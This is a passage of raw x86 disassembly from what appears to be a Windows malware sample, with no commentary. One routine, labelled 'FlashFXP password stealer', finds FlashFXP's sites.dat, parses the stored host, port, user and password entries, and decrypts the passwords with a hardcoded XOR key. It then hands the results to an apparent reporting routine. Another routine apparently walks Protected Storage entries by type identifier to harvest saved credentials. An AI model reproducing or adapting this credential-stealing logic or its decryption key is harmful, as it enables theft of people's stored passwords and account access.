loc_40EFDC:				; CODE XREF: sub_40EF0E+C9j
		cmp	[ebp+arg_10], 0
		jz	short loc_40EFEB
		cmp	[ebp+arg_10], 200h
		jbe	short loc_40EFEE


loc_40EFEB:				; CODE XREF: sub_40EF0E+D2j
		mov	[ebp+arg_10], edi


loc_40EFEE:				; CODE XREF: sub_40EF0E+DBj
		push	edi
		lea	eax, [esi+4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41083E	; strncpy
		mov	ax, word ptr [ebp+arg_8]
		add	esp, 0Ch
		cmp	[ebp+arg_C], ebx
		mov	[esi+104h], ax
		mov	ax, word ptr [ebp+var_4]
		mov	[esi+106h], ax
		ja	short loc_40F01C
		mov	ebx, [ebp+arg_C]


loc_40F01C:				; CODE XREF: sub_40EF0E+109j
		mov	eax, 200h
		mov	[esi+108h], ebx
		cmp	[ebp+arg_10], eax
		ja	short loc_40F02F
		mov	eax, [ebp+arg_10]


loc_40F02F:				; CODE XREF: sub_40EF0E+11Cj
		mov	ebx, [ebp+arg_0]
		lea	edi, [esi+10Ch]
		push	1A3h
		push	ebx
		mov	[edi], eax
		lea	eax, [esi+110h]
		push	eax
		call	sub_410838	; memcpy
		movzx	eax, word ptr [esi+106h]
		add	esp, 0Ch
		push	dword ptr [edi]
		push	eax
		movzx	eax, word ptr [esi+104h]
		push	eax
		lea	eax, [esi+4]
		push	eax
		xor	eax, eax
		cmp	[ebx+18Bh], al
		push	offset dword_416E88
		setz	al
		push	eax
		push	esi
		push	offset sub_40ED30
		call	sub_40663C
		add	esp, 20h


loc_40F084:				; CODE XREF: sub_40EF0E+Bj
					; sub_40EF0E+16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40EF0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F089	proc near		; CODE XREF: sub_40F21F+234p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp+var_4]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, offset dword_412B20
		push	eax
		push	esi
		push	edi
		mov	ebx, offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"
		call	sub_410892	; sscanf
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40F108
		inc	edi
		inc	edi


loc_40F0B1:				; CODE XREF: sub_40F089+7Dj
		lea	eax, [ebp+arg_4]
		push	eax
		push	esi
		push	edi
		call	sub_410892	; sscanf
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40F108
		movsx	ecx, byte ptr [ebx]
		mov	eax, [ebp+arg_4]
		xor	eax, ecx
		inc	ebx
		cmp	[ebp+var_4], eax
		mov	[ebp+arg_4], eax
		jl	short loc_40F0D8
		dec	eax
		mov	[ebp+arg_4], eax


loc_40F0D8:				; CODE XREF: sub_40F089+49j
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ecx], al
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		push	edi
		call	sub_410892	; sscanf
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40F108
		inc	edi
		inc	edi
		cmp	byte ptr [ebx],	0
		jnz	short loc_40F101
		mov	ebx, offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"


loc_40F101:				; CODE XREF: sub_40F089+71j
		cmp	byte ptr [edi],	0
		jz	short loc_40F10C
		jmp	short loc_40F0B1
; ---------------------------------------------------------------------------


loc_40F108:				; CODE XREF: sub_40F089+24j
					; sub_40F089+38j ...
		xor	eax, eax
		jmp	short loc_40F115
; ---------------------------------------------------------------------------


loc_40F10C:				; CODE XREF: sub_40F089+7Bj
		mov	eax, [ebp+arg_0]
		push	1
		and	byte ptr [eax],	0
		pop	eax


loc_40F115:				; CODE XREF: sub_40F089+81j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F089	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F11A	proc near		; CODE XREF: sub_40F21F+2Cp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		lea	eax, [ebp+var_8]
		push	edi
		xor	edi, edi
		push	eax
		push	20019h
		push	edi
		push	offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."...
		push	80000002h
		mov	[ebp+var_8], edi
		call	ds:dword_411000	; RegOpenKeyExA
		mov	ebx, [ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		push	ebx
		push	edi
		push	edi
		push	edi
		mov	esi, 104h
		push	[ebp+var_8]
		mov	[ebp+var_C], esi
		call	ds:dword_41100C	; RegQueryValueExA
		push	[ebp+var_8]
		mov	[ebp+arg_0], eax
		call	ds:dword_411028	; RegCloseKey
		cmp	[ebp+arg_0], edi
		jnz	short loc_40F1A9
		push	offset aFlashfxp_exe1 ;	"FlashFXP.exe %1"
		push	4
		push	ebx
		call	sub_4052F1
		add	esp, 0Ch
		cmp	eax, edi
		mov	[ebp+arg_0], eax
		jz	short loc_40F1A9
		push	offset aSites_dat ; "sites.dat"
		push	eax
		call	sub_410820	; _mbscpy
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+0Fh]
		add	eax, 9
		push	ecx
		push	eax
		call	sub_410820	; _mbscpy
		add	esp, 10h


loc_40F1A4:				; CODE XREF: sub_40F11A+B8j
					; sub_40F11A+F1j
		push	1
		pop	eax
		jmp	short loc_40F21A
; ---------------------------------------------------------------------------


loc_40F1A9:				; CODE XREF: sub_40F11A+53j
					; sub_40F11A+6Aj
		push	esi
		push	ebx
		push	offset aProgramfiles ; "ProgramFiles"
		call	ds:dword_41110C	; GetEnvironmentVariableA
		push	offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat"
		push	ebx
		call	sub_410856	; _mbscat
		mov	esi, offset aRb	; "rb"
		push	esi
		push	ebx
		call	sub_41086E	; fopen
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40F1A4
		mov	eax, dword_413364
		mov	[ebp+var_4], eax


loc_40F1DC:				; CODE XREF: sub_40F11A+FCj
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_4110D0	; GetDriveTypeA
		cmp	eax, 5
		jz	short loc_40F20D
		cmp	eax, 2
		jz	short loc_40F20D
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aSflashfxpSites ; "%sFlashFXP\\sites.dat"
		push	ebx
		call	sub_410844	; sprintf
		push	esi
		push	ebx
		call	sub_41086E	; fopen
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40F1A4


loc_40F20D:				; CODE XREF: sub_40F11A+CFj
					; sub_40F11A+D4j
		inc	byte ptr [ebp+var_4]
		cmp	byte ptr [ebp+var_4], 5Ah
		jz	short loc_40F218
		jmp	short loc_40F1DC
; ---------------------------------------------------------------------------


loc_40F218:				; CODE XREF: sub_40F11A+FAj
		xor	eax, eax


loc_40F21A:				; CODE XREF: sub_40F11A+8Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F21F	proc near		; DATA XREF: sub_40F515+29o

var_5C4		= byte ptr -5C4h
var_444		= byte ptr -444h
var_3C4		= byte ptr -3C4h
var_344		= byte ptr -344h
var_2C4		= byte ptr -2C4h
var_244		= dword	ptr -244h
var_240		= byte ptr -240h
var_A8		= byte ptr -0A8h
var_9C		= byte ptr -9Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5C4h
		push	1A7h
		lea	eax, [ebp+var_244]
		push	[ebp+arg_0]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		lea	eax, [ebp+var_5C4]
		push	eax
		call	sub_40F11A
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40F26A
		push	[ebp+var_244]
		call	sub_406753
		pop	ecx
		xor	eax, eax
		jmp	locret_40F511
; ---------------------------------------------------------------------------


loc_40F26A:				; CODE XREF: sub_40F21F+36j
		mov	eax, [ebp+var_244]
		push	ebx
		push	esi
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_240]
		push	offset unk_417058
		push	eax
		call	sub_408D50
		mov	al, [ebp+var_A8]
		xor	ebx, ebx
		mov	byte ptr [ebp+arg_0+3],	al
		lea	eax, [ebp+var_5C4]
		push	offset aRb	; "rb"
		push	eax
		mov	[ebp+var_18], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_A8], bl
		call	sub_41086E	; fopen
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jz	loc_40F500
		push	2
		push	ebx
		push	edi
		call	sub_410886	; fseek
		push	edi
		call	sub_41085C	; ftell
		mov	esi, eax
		mov	eax, 100000h
		add	esp, 10h
		cmp	esi, eax
		jb	short loc_40F2DA
		mov	esi, eax


loc_40F2DA:				; CODE XREF: sub_40F21F+B7j
		push	ebx
		push	ebx
		push	edi
		call	sub_410886	; fseek
		lea	eax, [esi+1]
		push	eax
		call	sub_41082C	; malloc
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_10], eax
		push	edi
		jnz	short loc_40F301
		call	sub_410868	; fclose
		pop	ecx
		jmp	loc_40F500
; ---------------------------------------------------------------------------


loc_40F301:				; CODE XREF: sub_40F21F+D5j
		push	esi
		push	1
		push	eax
		call	sub_410880	; fread
		push	edi
		call	sub_410868	; fclose
		mov	eax, [ebp+var_10]
		add	esp, 14h
		mov	[eax+esi], bl
		mov	esi, eax


loc_40F31B:				; CODE XREF: sub_40F21F+29Dj
		push	offset asc_417050 ; "\r\n\r\n["
		push	esi
		call	sub_410898	; strstr
		push	offset aIp	; "\r\nIP="
		push	esi
		mov	edi, eax
		call	sub_410898	; strstr
		push	offset aPort	; "\r\nPort="
		push	esi
		mov	[ebp+var_14], eax
		call	sub_410898	; strstr
		push	offset aUser_0	; "\r\nUser="
		push	esi
		mov	[ebp+var_8], eax
		call	sub_410898	; strstr
		push	offset aPass_0	; "\r\nPass="
		push	esi
		mov	[ebp+var_C], eax
		call	sub_410898	; strstr
		add	esp, 28h
		cmp	[ebp+var_14], ebx
		mov	[ebp+var_1C], eax
		jz	loc_40F4B2
		cmp	edi, ebx
		jz	short loc_40F379
		cmp	[ebp+var_14], edi
		jnb	loc_40F4B2


loc_40F379:				; CODE XREF: sub_40F21F+14Fj
		cmp	[ebp+var_8], ebx
		jz	loc_40F4B2
		cmp	edi, ebx
		jz	short loc_40F38F
		cmp	[ebp+var_8], edi
		jnb	loc_40F4B2


loc_40F38F:				; CODE XREF: sub_40F21F+165j
		cmp	[ebp+var_C], ebx
		jz	loc_40F4B2
		cmp	edi, ebx
		jz	short loc_40F3A5
		cmp	[ebp+var_C], edi
		jnb	loc_40F4B2


loc_40F3A5:				; CODE XREF: sub_40F21F+17Bj
		cmp	eax, ebx
		jz	loc_40F4B2
		cmp	edi, ebx
		jz	short loc_40F3B9
		cmp	eax, edi
		jnb	loc_40F4B2


loc_40F3B9:				; CODE XREF: sub_40F21F+190j
		lea	eax, [ebp+var_444]
		mov	[ebp+var_9C], bl
		push	eax
		push	offset asc_417024 ; "[%[^]]]\r\n"
		push	esi
		mov	[ebp+var_344], bl
		mov	[ebp+var_3C4], bl
		mov	[ebp+var_2C4], bl
		mov	[ebp+var_444], bl
		call	sub_410892	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset aIp127s	; "\r\nIP=%127s\r\n"
		push	[ebp+var_14]
		call	sub_410892	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_3C4]
		push	eax
		push	offset aPort127s ; "\r\nPort=%127s\r\n"
		push	[ebp+var_8]
		call	sub_410892	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_344]
		push	eax
		push	offset aUser127s ; "\r\nUser=%127s\r\n"
		push	[ebp+var_C]
		call	sub_410892	; sscanf
		add	esp, 0Ch
		lea	eax, [ebp+var_9C]
		push	eax
		push	offset aPass127s ; "\r\nPass=%127s\r\n"
		push	[ebp+var_1C]
		call	sub_410892	; sscanf
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_40F089
		add	esp, 14h
		test	eax, eax
		jz	short loc_40F4C1
		inc	[ebp+var_4]
		push	3E8h
		call	ds:dword_4110A4	; Sleep
		lea	eax, [ebp+var_444]
		push	eax
		lea	eax, [ebp+var_3C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_344]
		push	eax
		lea	eax, [ebp+var_240]
		push	[ebp+var_4]
		push	offset dword_416FB8
		push	eax
		call	sub_408D50
		mov	eax, [ebp+var_244]
		add	esp, 20h
		cmp	[eax+4], ebx
		jnz	short loc_40F4C1


loc_40F4B2:				; CODE XREF: sub_40F21F+147j
					; sub_40F21F+154j ...
		inc	[ebp+var_18]
		cmp	edi, ebx
		jz	short loc_40F4C1
		lea	esi, [edi+4]
		jmp	loc_40F31B
; ---------------------------------------------------------------------------


loc_40F4C1:				; CODE XREF: sub_40F21F+23Ej
					; sub_40F21F+291j ...
		push	[ebp+var_10]
		call	sub_410832	; free
		mov	al, byte ptr [ebp+arg_0+3]
		pop	ecx
		push	3E8h
		mov	[ebp+var_A8], al
		call	ds:dword_4110A4	; Sleep
		push	[ebp+var_18]
		mov	eax, [ebp+var_244]
		push	[ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_240]
		push	offset unk_416F7C
		push	eax
		call	sub_408D50
		add	esp, 14h


loc_40F500:				; CODE XREF: sub_40F21F+96j
					; sub_40F21F+DDj
		push	[ebp+var_244]
		call	sub_406753
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx

locret_40F511:				; CODE XREF: sub_40F21F+46j
		leave
		retn	4
sub_40F21F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F515	proc near		; CODE XREF: sub_40735A+323p

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40F54B
		push	[esp+4+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_403E60
		pop	ecx
		pop	ecx
		push	offset aFlashfxpPasswo ; "FlashFXP password stealer"
		push	0
		push	esi
		push	offset sub_40F21F
		call	sub_40663C
		add	esp, 10h


loc_40F54B:				; CODE XREF: sub_40F515+10j
		pop	esi
		retn
sub_40F515	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F54D	proc near		; DATA XREF: sub_40FCB2+32o
		mov	eax, offset loc_410CF0
		call	sub_410B38
		sub	esp, 0F98h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-290h]
		push	eax
		call	sub_410838	; memcpy
		push	dword ptr [ebp+8]
		call	sub_410832	; free
		add	esp, 10h
		xor	ebx, ebx
		lea	eax, [ebp-14h]
		push	ebx
		push	ebx
		push	ebx
		push	eax
		mov	[ebp-4], ebx
		mov	[ebp-14h], ebx
		call	dword_417BB0
		cmp	eax, ebx
		jge	short loc_40F5A9
		push	dword ptr [ebp-290h]
		call	sub_406753
		pop	ecx
		jmp	loc_40FC8E
; ---------------------------------------------------------------------------


loc_40F5A9:				; CODE XREF: sub_40F54D+49j
		cmp	[ebp-14h], ebx
		mov	byte ptr [ebp-4], 1
		mov	[ebp-1Ch], ebx
		jnz	short loc_40F5BF
		push	80004003h
		call	sub_410B60


loc_40F5BF:				; CODE XREF: sub_40F54D+66j
		mov	esi, [ebp-14h]
		lea	ecx, [ebp-1Ch]
		push	ecx
		push	ebx
		mov	eax, [esi]
		push	ebx
		push	esi
		call	dword ptr [eax+38h]
		cmp	eax, ebx
		jge	short loc_40F5EF
		push	offset dword_4172E8
		push	esi
		push	eax
		call	sub_410B6E
		push	dword ptr [ebp-290h]
		call	sub_406753
		pop	ecx
		jmp	loc_40FC7E
; ---------------------------------------------------------------------------


loc_40F5EF:				; CODE XREF: sub_40F54D+83j
		mov	eax, [ebp-290h]
		push	dword ptr [eax]
		lea	eax, [ebp-28Ch]
		push	offset unk_4172B4
		push	eax
		call	sub_408D50
		mov	al, [ebp-0F4h]
		add	esp, 0Ch
		mov	[ebp-10h], ebx
		mov	[ebp+0Bh], al
		mov	[ebp-0F4h], bl


loc_40F61D:				; CODE XREF: sub_40F54D+6E2j
					; sub_40F54D+6EEj
		cmp	[ebp-1Ch], ebx
		jnz	short loc_40F62C
		push	80004003h
		call	sub_410B60


loc_40F62C:				; CODE XREF: sub_40F54D+D3j
		mov	eax, [ebp-1Ch]
		lea	edx, [ebp-40h]
		push	ebx
		push	edx
		mov	ecx, [eax]
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_40FC40
		mov	eax, [ebp-290h]
		cmp	[eax+4], ebx
		jnz	loc_40FC40
		sub	esp, 10h
		lea	esi, [ebp-40h]
		mov	edi, esp
		lea	eax, [ebp-84h]
		movsd
		movsd
		movsd
		push	offset asc_4172B0 ; "%x"
		push	eax
		movsd
		call	ds:dword_4111EC	; wsprintfA
		add	esp, 18h
		cmp	[ebp-14h], ebx
		mov	byte ptr [ebp-4], 2
		mov	[ebp-24h], ebx
		jnz	short loc_40F68A
		push	80004003h
		call	sub_410B60


loc_40F68A:				; CODE XREF: sub_40F54D+131j
		mov	esi, [ebp-14h]
		lea	ecx, [ebp-24h]
		push	ecx
		lea	ecx, [ebp-40h]
		mov	eax, [esi]
		push	ebx
		push	ecx
		push	ebx
		push	esi
		call	dword ptr [eax+3Ch]
		cmp	eax, ebx
		jge	short loc_40F6AD
		push	offset dword_4172E8
		push	esi
		push	eax
		call	sub_410B6E


loc_40F6AD:				; CODE XREF: sub_40F54D+152j
					; sub_40F54D+6C8j ...
		cmp	[ebp-24h], ebx
		jnz	short loc_40F6BC
		push	80004003h
		call	sub_410B60


loc_40F6BC:				; CODE XREF: sub_40F54D+163j
		mov	eax, [ebp-24h]
		lea	edx, [ebp-50h]
		push	ebx
		push	edx
		mov	ecx, [eax]
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_40FC26
		cmp	[ebp-14h], ebx
		mov	byte ptr [ebp-4], 3
		mov	[ebp-28h], ebx
		jnz	short loc_40F6EA
		push	80004003h
		call	sub_410B60


loc_40F6EA:				; CODE XREF: sub_40F54D+191j
		mov	esi, [ebp-14h]
		lea	ecx, [ebp-28h]
		push	ecx
		lea	ecx, [ebp-50h]
		mov	eax, [esi]
		push	ebx
		push	ecx
		lea	ecx, [ebp-40h]
		push	ecx
		push	ebx
		push	esi
		call	dword ptr [eax+54h]
		cmp	eax, ebx
		jge	short loc_40F711
		push	offset dword_4172E8
		push	esi
		push	eax
		call	sub_410B6E


loc_40F711:				; CODE XREF: sub_40F54D+1B6j
					; sub_40F54D+6BAj
		cmp	[ebp-28h], ebx
		jnz	short loc_40F720
		push	80004003h
		call	sub_410B60


loc_40F720:				; CODE XREF: sub_40F54D+1C7j
		mov	eax, [ebp-28h]
		lea	edx, [ebp-30h]
		push	ebx
		push	edx
		mov	ecx, [eax]
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_40FC0C
		push	dword ptr [ebp-30h]
		mov	edi, ds:dword_4111EC
		lea	eax, [ebp-7BCh]
		push	offset aWs	; "%ws"
		push	eax
		call	edi	; wsprintfA
		add	esp, 0Ch
		cmp	[ebp-14h], ebx
		mov	[ebp-20h], ebx
		mov	[ebp-18h], ebx
		jnz	short loc_40F767
		push	80004003h
		call	sub_410B60


loc_40F767:				; CODE XREF: sub_40F54D+20Ej
		push	ebx
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		mov	esi, [ebp-14h]
		lea	ecx, [ebp-20h]
		push	ecx
		lea	ecx, [ebp-50h]
		push	dword ptr [ebp-30h]
		mov	eax, [esi]
		push	ecx
		lea	ecx, [ebp-40h]
		push	ecx
		push	ebx
		push	esi
		call	dword ptr [eax+44h]
		cmp	eax, ebx
		jge	short loc_40F796
		push	offset dword_4172E8
		push	esi
		push	eax
		call	sub_410B6E


loc_40F796:				; CODE XREF: sub_40F54D+23Bj
		push	dword ptr [ebp-18h]
		call	sub_410826	; strlen
		mov	esi, [ebp-20h]
		pop	ecx
		lea	ecx, [esi-1]
		cmp	eax, ecx
		jnb	short loc_40F7DC
		xor	ecx, ecx
		xor	edx, edx
		cmp	esi, ebx
		jbe	short loc_40F7D3


loc_40F7B1:				; CODE XREF: sub_40F54D+284j
		mov	eax, [ebp-18h]
		mov	al, [edx+eax]
		cmp	al, bl
		jnz	short loc_40F7C5
		mov	byte ptr [ebp+ecx-5BCh], 2Ch
		jmp	short loc_40F7CC
; ---------------------------------------------------------------------------


loc_40F7C5:				; CODE XREF: sub_40F54D+26Cj
		mov	[ebp+ecx-5BCh],	al


loc_40F7CC:				; CODE XREF: sub_40F54D+276j
		inc	ecx
		inc	edx
		inc	edx
		cmp	edx, esi
		jb	short loc_40F7B1


loc_40F7D3:				; CODE XREF: sub_40F54D+262j
		mov	[ebp+ecx-5BDh],	bl
		jmp	short loc_40F7F0
; ---------------------------------------------------------------------------


loc_40F7DC:				; CODE XREF: sub_40F54D+25Aj
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-5BCh]
		push	offset dword_412B30
		push	eax
		call	edi	; wsprintfA
		add	esp, 0Ch


loc_40F7F0:				; CODE XREF: sub_40F54D+28Dj
		mov	esi, ds:dword_411104
		mov	edi, offset byte_417B60
		lea	eax, [ebp-0FA4h]
		push	edi
		push	eax
		call	esi	; lstrcpy
		lea	eax, [ebp-9BCh]
		push	edi
		push	eax
		call	esi	; lstrcpy
		mov	esi, ds:dword_411110
		lea	eax, [ebp-84h]
		push	offset a220d5cc1 ; "220d5cc1"
		push	eax
		call	esi	; lstrcmp
		test	eax, eax
		jnz	short loc_40F857
		inc	dword ptr [ebp-10h]
		cmp	[ebp-0F7h], bl
		jnz	short loc_40F857
		lea	eax, [ebp-5BCh]
		push	eax
		lea	eax, [ebp-7BCh]
		push	eax
		lea	eax, [ebp-28Ch]
		push	dword ptr [ebp-10h]
		push	offset dword_417260
		push	eax
		call	sub_408D50
		add	esp, 14h


loc_40F857:				; CODE XREF: sub_40F54D+2D8j
					; sub_40F54D+2E3j
		lea	eax, [ebp-84h]
		push	offset a5e7e8100 ; "5e7e8100"
		push	eax
		call	esi	; lstrcmp
		test	eax, eax
		jnz	loc_40F8FE
		mov	edi, ds:dword_411104
		lea	eax, [ebp-358h]
		push	offset byte_417B60
		push	eax
		call	edi	; lstrcpy
		mov	esi, offset asc_412528 ; ":"
		lea	eax, [ebp-5BCh]
		push	esi
		push	eax
		call	sub_410898	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F8C4
		lea	eax, [ebp-5BCh]
		push	esi
		push	eax
		call	sub_410898	; strstr
		pop	ecx
		inc	eax
		pop	ecx
		push	eax
		lea	eax, [ebp-358h]
		push	eax
		call	edi	; lstrcpy
		lea	eax, [ebp-5BCh]
		push	esi
		push	eax
		call	sub_410898	; strstr
		pop	ecx
		mov	[eax], bl
		pop	ecx


loc_40F8C4:				; CODE XREF: sub_40F54D+34Aj
		inc	dword ptr [ebp-10h]
		push	3E8h
		call	ds:dword_4110A4	; Sleep
		lea	eax, [ebp-358h]
		push	eax
		lea	eax, [ebp-5BCh]
		push	eax
		lea	eax, [ebp-7BCh]
		push	eax
		lea	eax, [ebp-28Ch]
		push	dword ptr [ebp-10h]
		push	offset dword_4171FC
		push	eax
		call	sub_408D50
		add	esp, 18h


loc_40F8FE:				; CODE XREF: sub_40F54D+31Aj
		lea	eax, [ebp-84h]
		push	offset aB9819c52 ; "b9819c52"
		push	eax
		call	ds:dword_411110	; lstrcmp
		test	eax, eax
		jnz	loc_40FA6C
		mov	eax, [ebp-18h]
		xor	edi, edi
		xor	esi, esi
		cmp	[ebp-20h], ebx
		jbe	short loc_40F967


loc_40F924:				; CODE XREF: sub_40F54D+418j
		mov	cl, [esi+eax]
		cmp	cl, bl
		jnz	short loc_40F935
		mov	byte ptr [ebp+edi-5BCh], 2Ch
		jmp	short loc_40F95F
; ---------------------------------------------------------------------------


loc_40F935:				; CODE XREF: sub_40F54D+3DCj
		push	ecx
		call	ds:dword_411200	; IsCharAlphaNumericA
		test	eax, eax
		mov	eax, [ebp-18h]
		jnz	short loc_40F955
		mov	cl, [esi+eax]
		cmp	cl, 40h
		jz	short loc_40F955
		cmp	cl, 2Eh
		jz	short loc_40F955
		cmp	cl, 5Fh
		jnz	short loc_40F960


loc_40F955:				; CODE XREF: sub_40F54D+3F4j
					; sub_40F54D+3FCj ...
		mov	cl, [esi+eax]
		mov	[ebp+edi-5BCh],	cl


loc_40F95F:				; CODE XREF: sub_40F54D+3E6j
		inc	edi


loc_40F960:				; CODE XREF: sub_40F54D+406j
		inc	esi
		inc	esi
		cmp	esi, [ebp-20h]
		jb	short loc_40F924


loc_40F967:				; CODE XREF: sub_40F54D+3D5j
		mov	[ebp+edi-5BDh],	bl
		cmp	[eax+4], bl
		lea	esi, [ebp-5BAh]
		mov	[ebp-2Ch], ebx
		jbe	loc_40FA6C


loc_40F980:				; CODE XREF: sub_40F54D+519j
		inc	esi
		lea	eax, [ebp-3BCh]
		push	esi
		push	eax
		call	ds:dword_411104	; lstrcpy
		mov	edi, offset dword_4171EC
		lea	eax, [ebp-3BCh]
		push	edi
		push	eax
		call	sub_410898	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F9B8
		lea	eax, [ebp-3BCh]
		push	edi
		push	eax
		call	sub_410898	; strstr
		pop	ecx
		mov	[eax], bl
		pop	ecx


loc_40F9B8:				; CODE XREF: sub_40F54D+458j
		push	edi
		push	esi
		call	sub_410898	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F9DE
		push	edi
		push	esi
		call	sub_410898	; strstr
		pop	ecx
		inc	eax
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0E8h]
		push	eax
		call	ds:dword_411104	; lstrcpy


loc_40F9DE:				; CODE XREF: sub_40F54D+476j
		lea	eax, [ebp-0E8h]
		push	edi
		push	eax
		call	sub_410898	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FA02
		lea	eax, [ebp-0E8h]
		push	edi
		push	eax
		call	sub_410898	; strstr
		pop	ecx
		mov	[eax], bl
		pop	ecx


loc_40FA02:				; CODE XREF: sub_40F54D+4A2j
		push	edi
		push	esi
		call	sub_410898	; strstr
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	eax, [ebp-0E8h]
		push	eax
		call	ds:dword_411040	; lstrlen
		inc	dword ptr [ebp-10h]
		push	3E8h
		lea	esi, [esi+eax+9]
		call	ds:dword_4110A4	; Sleep
		cmp	[ebp-0F7h], bl
		jnz	short loc_40FA59
		lea	eax, [ebp-0E8h]
		push	eax
		lea	eax, [ebp-3BCh]
		push	eax
		lea	eax, [ebp-28Ch]
		push	dword ptr [ebp-10h]
		push	offset dword_4171AC
		push	eax
		call	sub_408D50
		add	esp, 14h


loc_40FA59:				; CODE XREF: sub_40F54D+4E5j
		mov	eax, [ebp-18h]
		inc	dword ptr [ebp-2Ch]
		movzx	eax, byte ptr [eax+4]
		cmp	[ebp-2Ch], eax
		jl	loc_40F980


loc_40FA6C:				; CODE XREF: sub_40F54D+3C5j
					; sub_40F54D+42Dj
		lea	eax, [ebp-84h]
		push	offset aE161255a ; "e161255a"
		push	eax
		call	ds:dword_411110	; lstrcmp
		test	eax, eax
		jnz	loc_40FBE3
		lea	eax, [ebp-7BCh]
		push	offset aStringindex ; "StringIndex"
		push	eax
		call	sub_410898	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40FBE3
		mov	esi, offset dword_41718C
		lea	eax, [ebp-7BCh]
		push	esi
		push	eax
		call	sub_410898	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FACA
		lea	eax, [ebp-7BCh]
		push	esi
		push	eax
		call	sub_410898	; strstr
		pop	ecx
		mov	[eax], bl
		pop	ecx


loc_40FACA:				; CODE XREF: sub_40F54D+56Aj
		lea	eax, [ebp-7BCh]
		push	8
		push	eax
		lea	eax, [ebp-358h]
		push	eax
		call	ds:dword_411108	; lstrcpyn
		lea	eax, [ebp-358h]
		push	offset dword_417184
		push	eax
		call	sub_410898	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FB52
		lea	eax, [ebp-358h]
		push	offset dword_41717C
		push	eax
		call	sub_410898	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FB52
		inc	dword ptr [ebp-10h]
		push	3E8h
		call	ds:dword_4110A4	; Sleep
		cmp	[ebp-0F7h], bl
		jnz	loc_40FBE3
		lea	eax, [ebp-5BCh]
		push	eax
		lea	eax, [ebp-7BCh]
		push	eax
		lea	eax, [ebp-28Ch]
		push	dword ptr [ebp-10h]
		push	offset dword_417134
		push	eax
		call	sub_408D50
		add	esp, 14h
		jmp	loc_40FBE3
; ---------------------------------------------------------------------------


